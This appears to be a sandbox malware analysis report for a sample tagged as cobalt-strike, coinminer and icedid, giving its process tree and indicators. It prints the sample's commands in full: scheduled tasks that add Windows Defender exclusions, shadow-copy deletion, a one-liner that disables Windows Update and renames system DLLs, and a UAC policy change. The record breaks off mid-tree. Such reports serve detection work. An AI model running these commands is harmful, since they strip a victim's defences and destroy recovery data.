Token: SeShutdownPrivilege	3860	powershell.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeSystemEnvironmentPrivilege	3860	powershell.exe
Token: SeRemoteShutdownPrivilege	3860	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3908	GrOcS3OF.exe
3908	GrOcS3OF.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3928 wrote to memory of 1268	3928	o05w8Z.exe	96
PID 1268 wrote to memory of 3808	1268	cmd.exe	99
PID 1268 wrote to memory of 3592	1268	cmd.exe	100
PID 1268 wrote to memory of 5700	1268	cmd.exe	103
PID 5964 wrote to memory of 432	5964	cmd.exe	104
PID 3928 wrote to memory of 652	3928	o05w8Z.exe	107
PID 652 wrote to memory of 3772	652	cmd.exe	109
PID 652 wrote to memory of 5236	652	cmd.exe	110
PID 652 wrote to memory of 5296	652	cmd.exe	113
PID 5820 wrote to memory of 5920	5820	cmd.exe	114
PID 3928 wrote to memory of 5316	3928	o05w8Z.exe	115
PID 5316 wrote to memory of 5916	5316	cmd.exe	117
PID 5316 wrote to memory of 3368	5316	cmd.exe	118
PID 5704 wrote to memory of 464	5704	cmd.exe	121
PID 5316 wrote to memory of 3328	5316	cmd.exe	122
PID 3928 wrote to memory of 2808	3928	o05w8Z.exe	123
PID 2808 wrote to memory of 1852	2808	cmd.exe	125
PID 2808 wrote to memory of 1700	2808	cmd.exe	126
PID 3504 wrote to memory of 3676	3504	cmd.exe	129
PID 2808 wrote to memory of 3484	2808	cmd.exe	130
PID 3928 wrote to memory of 2780	3928	o05w8Z.exe	131
PID 2780 wrote to memory of 1076	2780	cmd.exe	133
PID 2780 wrote to memory of 4596	2780	cmd.exe	134
PID 4972 wrote to memory of 2260	4972	cmd.exe	137
PID 2780 wrote to memory of 4564	2780	cmd.exe	138
PID 3928 wrote to memory of 4200	3928	o05w8Z.exe	139
PID 4200 wrote to memory of 780	4200	sbCbPi.exe	142
PID 4200 wrote to memory of 4812	4200	sbCbPi.exe	144
PID 4200 wrote to memory of 1572	4200	sbCbPi.exe	146
PID 4812 wrote to memory of 5720	4812	cmd.exe	149
PID 4200 wrote to memory of 912	4200	sbCbPi.exe	151
PID 4200 wrote to memory of 5728	4200	sbCbPi.exe	153
PID 4200 wrote to memory of 1880	4200	sbCbPi.exe	154
PID 4200 wrote to memory of 1256	4200	sbCbPi.exe	158
PID 4200 wrote to memory of 2956	4200	sbCbPi.exe	160
PID 1880 wrote to memory of 4516	1880	cmd.exe	162
PID 5728 wrote to memory of 3892	5728	cmd.exe	163
PID 2956 wrote to memory of 2636	2956	cmd.exe	164
PID 3892 wrote to memory of 5800	3892	net.exe	165
PID 4200 wrote to memory of 4668	4200	sbCbPi.exe	166
PID 1880 wrote to memory of 4748	1880	cmd.exe	168
PID 4200 wrote to memory of 3640	4200	sbCbPi.exe	169
PID 1256 wrote to memory of 4892	1256	cmd.exe	171
PID 5728 wrote to memory of 3460	5728	cmd.exe	172
PID 4200 wrote to memory of 1220	4200	sbCbPi.exe	173
PID 5728 wrote to memory of 5484	5728	cmd.exe	176
PID 4668 wrote to memory of 3412	4668	cmd.exe	177
PID 1880 wrote to memory of 2776	1880	cmd.exe	178
PID 1256 wrote to memory of 536	1256	cmd.exe	179
PID 1220 wrote to memory of 5504	1220	cmd.exe	180
PID 3640 wrote to memory of 2080	3640	cmd.exe	181
PID 5728 wrote to memory of 2916	5728	cmd.exe	183
PID 2916 wrote to memory of 1988	2916	net.exe	184
PID 1256 wrote to memory of 3508	1256	cmd.exe	185
PID 4668 wrote to memory of 2424	4668	cmd.exe	186
PID 1220 wrote to memory of 5804	1220	cmd.exe	187
PID 4200 wrote to memory of 432	4200	sbCbPi.exe	188
PID 4200 wrote to memory of 5192	4200	sbCbPi.exe	190
PID 5728 wrote to memory of 5740	5728	cmd.exe	192
PID 1220 wrote to memory of 1644	1220	cmd.exe	193
PID 4668 wrote to memory of 3540	4668	cmd.exe	194
PID 5728 wrote to memory of 2532	5728	cmd.exe	195
PID 5192 wrote to memory of 368	5192	cmd.exe	196
PID 432 wrote to memory of 5232	432	cmd.exe	197

System policy modification 1 TTPs 4 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	sbCbPi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	GrOcS3OF.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	GrOcS3OF.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	sbCbPi.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3956

C:\Users\Public\Nynxdy\o05w8Z.exe
C:\Users\Public\Nynxdy\o05w8Z.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Nynxdy\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1268
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Nynxdy\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3808
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3592
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:652
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3772
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5236
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5316
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5916
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3368
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1700
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1076
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4596
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4564
- C:\Program Files (x86)\sbCbPi\sbCbPi.exe
  "C:\Program Files (x86)\sbCbPi\sbCbPi.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4200
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:780
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\sbCbPi" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4812
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\sbCbPi" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5720
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:1572
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:912
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5728
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3892
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5800
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3460
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5484
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2916
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1988
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5740
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:2532
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:5308
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:5148
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2384
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1740
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:464
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1384
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2728
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1700
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:3484
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2500
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4464
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5812
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4428
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4408
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:544
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2552
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4584
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5496
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1460
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3860
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\sbCbPi\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1880
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\sbCbPi\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4516
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4748
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2776
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1256
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4892
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:536
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3508
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\sbCbPi" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2956
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\sbCbPi" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2636
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4668
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3412
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2424
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3540
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\sbCbPi" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3640
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\sbCbPi" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2080
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:1220
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5504
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5804
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:1644
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\sbCbPi\sbCbPi.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:432
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\sbCbPi\sbCbPi.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5232
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5192
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:368
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5032
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5040
- - C:\Windows\SysWOW64\cmd.exe
